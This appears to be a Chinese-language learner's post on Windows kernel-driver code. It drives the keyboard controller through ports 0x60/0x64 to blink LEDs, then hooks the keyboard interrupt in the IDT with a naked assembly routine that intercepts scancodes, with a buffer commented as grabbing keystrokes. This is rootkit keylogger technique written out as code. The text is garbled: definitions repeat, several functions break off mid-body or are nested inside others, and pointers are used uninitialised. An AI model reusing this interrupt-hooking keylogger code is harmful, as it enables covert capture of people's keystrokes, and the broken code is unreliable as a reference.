端口用于传输数据,60端口就稍微复杂点,如果对60端口进行读操作,那么读出的是状态字,写操作的话,写入的就是命令了。
下面我们用这种方法来控制键盘的LED,使其不停闪烁。我会在代码内加很多注释帮助你了解整个过程,我不懂的地方就请高人解答了-_-
代码如下:
PKTIMER gTimer; //内核态下的定时器,功能和用户态下的定时器一样
PKDPC gDPCP; //DPC对象,延迟过程调用,你可以暂且把它理解为回调函数
UCHAR g_key_bits = 0;
#define SET_LEDS 0xED //命令字
#define KEY_RESET 0xFF
#define KEY_ACK 0xFA // ack
#define KEY_AGAIN 0xFE // send again
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60; //端口0x60和0x64
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;
#define IBUFFER_FULL 0x02 //status register bits
#define OBUFFER_FULL 0x01 //这两个位我不太清楚是什么意义,下面会用到
// flags for keyboard LEDS
#define SCROLL_LOCK_BIT (0x01 << 0)//用于指示键盘的LEB闪烁,下面会提到
#define NUMLOCK_BIT (0x01 << 1)
#define CAPS_LOCK_BIT (0x01 << 2)
/* 这个函数用于等待,等待可以对键盘端口进行读写操作?不太了解★*/
ULONG WaitForKeyboard()
{
char _t[255];
int i = 100; // number of times to loop
UCHAR mychar;
//DbgPrint("waiting for keyboard to become accessible\n");
do
{
mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );//READ_PORT_UCHAR是HAL.DLL提供的宏,相当于in指令,但可以
跨各种硬件平台
KeStallExecutionProcessor(50);
//_snprintf(_t, 253, "WaitForKeyboard::read byte %02X
// from port 0x64\n", mychar);
//DbgPrint(_t);
if(!(mychar & IBUFFER_FULL)) break; // if the flag is
// clear, we go ahead 看样子是等捕获的数据第2位为0,这代表什么?
}
while (i--);
if(i) return TRUE;
return FALSE;
}
/*下面这个函数必须在调用WaitForKeyboard()并且返回成功后才可调用,函数名的字面意思是清空输出存贮器
这样看来,调用OUT指令,在取出数据的同时,所取出的数据也会在存贮器内被删除,不知道理解的对不对★*/
void DrainOutputBuffer()
{
char _t[255];
int i = 100; // number of times to loop
UCHAR c;
//DbgPrint("draining keyboard buffer\n");
do
{
c = READ_PORT_UCHAR(KEYBOARD_PORT_64); //
KeStallExecutionProcessor(666);
//_snprintf(_t, 253, "DrainOutputBuffer::read byte
// %02X from port 0x64\n", c);
//DbgPrint(_t);
if(!(c & OBUFFER_FULL)) break; // If the flag is
// clear, we go ahead.
// Gobble up the byte in the output buffer.
c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
//_snprintf(_t, 253, "DrainOutputBuffer::read byte
// %02X from port 0x60\n", c);
//DbgPrint(_t);
}
while (i--);
}
/*下面这个函数就好理解了,向60端口发送命令,*/
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
char _t[255];
if(TRUE == WaitForKeyboard()) //先调用WaitForKeyboard()函数等待
{
DrainOutputBuffer(); //再清空输出存贮器?要这两步后才可以对60端口输入命令,这两步是什么意义?★
//_snprintf(_t, 253, "SendKeyboardCommand::sending byte
// %02X to port 0x60\n", theCommand);
//DbgPrint(_t);
WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
//DbgPrint("SendKeyboardCommand::sent\n");
}
else
{
//DbgPrint("SendKeyboardCommand::timeout waiting
for keyboard\n");
return FALSE;
}
// TODO: wait for ACK or RESEND from keyboard.
return TRUE;
}
/*下面这个为SendKeyboardCommand()的外包函数,具体实现发送命令*/
void SetLEDS( UCHAR theLEDS )
{
// setup for setting LEDS
if(FALSE == SendKeyboardCommand( 0xED )) //
{
//DbgPrint("SetLEDS::error sending keyboard command\n");
}
// send the flags for the LEDS
if(FALSE == SendKeyboardCommand( theLEDS ))
{
//DbgPrint("SetLEDS::error sending keyboard command\n");
}
}
// responses from keyboard
#define KEY_ACK 0xFA // ack
#define KEY_AGAIN 0xFE // send again
// 8042 ports
// when you read from port 64, this is called STATUS_BYTE
// when you write to port 64, this is called COMMAND_BYTE
// read and write on port 64 is called DATA_BYTE
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;
// status register bits
#define IBUFFER_FULL 0x02
#define OBUFFER_FULL 0x01
// entry in the IDT, this is sometimes called
// an "interrupt gate"
typedef struct
{
unsigned short LowOffset;
unsigned short selector;
unsigned char unused_lo;
unsigned char segment_type:4; //0x0E is an interrupt gate
unsigned char system_segment_flag:1;
unsigned char DPL:2; // descriptor privilege level
unsigned char P:1; /* present */
unsigned short HiOffset;
} IDTENTRY;
/* sidt returns idt in this format */
typedef struct
{
unsigned short IDTLimit;
unsigned short LowIDTbase;
unsigned short HiIDTbase;
} IDTINFO;
#pragma pack()
unsigned long old_ISR_pointer; // better save the old one!!
unsigned char keystroke_buffer[1024]; //grab 1k keystrokes
int kb_array_ptr=0;
ULONG WaitForKeyboard()
{
char _t[255];
int i = 100; // number of times to loop
UCHAR mychar;
//DbgPrint("waiting for keyboard to become accecssable\n");
do
{
mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );
KeStallExecutionProcessor(666);
//_snprintf(_t, 253, "WaitForKeyboard::read byte %02X from port 0x64\n", mychar);
//DbgPrint(_t);
if(!(mychar & IBUFFER_FULL)) break; // if the flag is clear, we go ahead
}
while (i--);
if(i) return TRUE;
return FALSE;
}
// call WaitForKeyboard before calling this function
void DrainOutputBuffer()
{
char _t[255];
int i = 100; // number of times to loop
UCHAR c;
//DbgPrint("draining keyboard buffer\n");
do
{
c = READ_PORT_UCHAR(KEYBOARD_PORT_64);
KeStallExecutionProcessor(666);
//_snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x64\n", c);
//DbgPrint(_t);
if(!(c & OBUFFER_FULL)) break; // if the flag is clear, we go ahead
// gobble up the byte in the output buffer
c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
//_snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x60\n", c);
//DbgPrint(_t);
}
while (i--);
}
// write a byte to the data port at 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
char _t[255];
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
IDTINFO idt_info; // this structure is obtained by calling STORE IDT (sidt)
IDTENTRY* idt_entries; // and then this pointer is obtained from idt_info
char _t[255];
// using stdcall means that this function fixes the stack before returning (opposite of cdecl)
void __stdcall print_keystroke()
{
UCHAR c;
//DbgPrint("stroke");
// get the scancode
c = READ_PORT_UCHAR(KEYBOARD_PORT_60); //读0x60端口获取扫描码
//DbgPrint("got scancode %02X", c);
//put scancode back (works on PS/2) 必须将刚获取的扫描码再写回去?★
WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode
WaitForKeyboard();
WRITE_PORT_UCHAR(KEYBOARD_PORT_60, c); //write the scancode to echo back
}
// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement 我们自己的中断处理例程
__declspec(naked) my_interrupt_hook()
{
__asm
{
pushad // save all general purpose registers
pushfd // save the flags register
call print_keystroke // call function
popfd // restore the flags
popad // restore the general registers
jmp old_ISR_pointer // goto the original ISR
}
}
//DriverEntry()主要的工作是替换IDT中的键盘中断处理程序
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
IDTINFO idt_info; // this structure is obtained by calling STORE IDT (sidt)
IDTENTRY* idt_entries; // and then this pointer is obtained from idt_info
IDTENTRY* i;
unsigned long addr;
unsigned long count;
char _t[255];
DbgPrint("Hooking Interrupt...");
// lets hook an interrupt
// exercise - choose your own interrupt
old_ISR_pointer = MAKELONG(idt_entries[NT_INT_KEYBD].LowOffset,idt_entries[NT_INT_KEYBD].HiOffset);
// debug, use this if you want some additional info on what is going on
#if 1
_snprintf(_t, 253, "old address for ISR is 0x%08x", old_ISR_pointer);
DbgPrint(_t);
_snprintf(_t, 253, "address of my function is 0x%08x", my_interrupt_hook);
DbgPrint(_t);
#endif
// remember we disable interrupts while we patch the table
__asm cli
idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short)my_interrupt_hook;
idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);
__asm sti
// debug - use this if you want to check what is now placed in the interrupt vector
#if 1
i = &idt_entries[NT_INT_KEYBD];
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf(_t, 253, "Interrupt ISR 0x%08X", addr);
DbgPrint(_t);
#endif
__declspec(naked) my_interrupt_hook()
{
__asm
{
pushad // save all general purpose registers
pushfd // save the flags register
call print_keystroke // call function
popfd // restore the flags
popad // restore the general registers
jmp old_ISR_pointer // goto the original ISR
}
}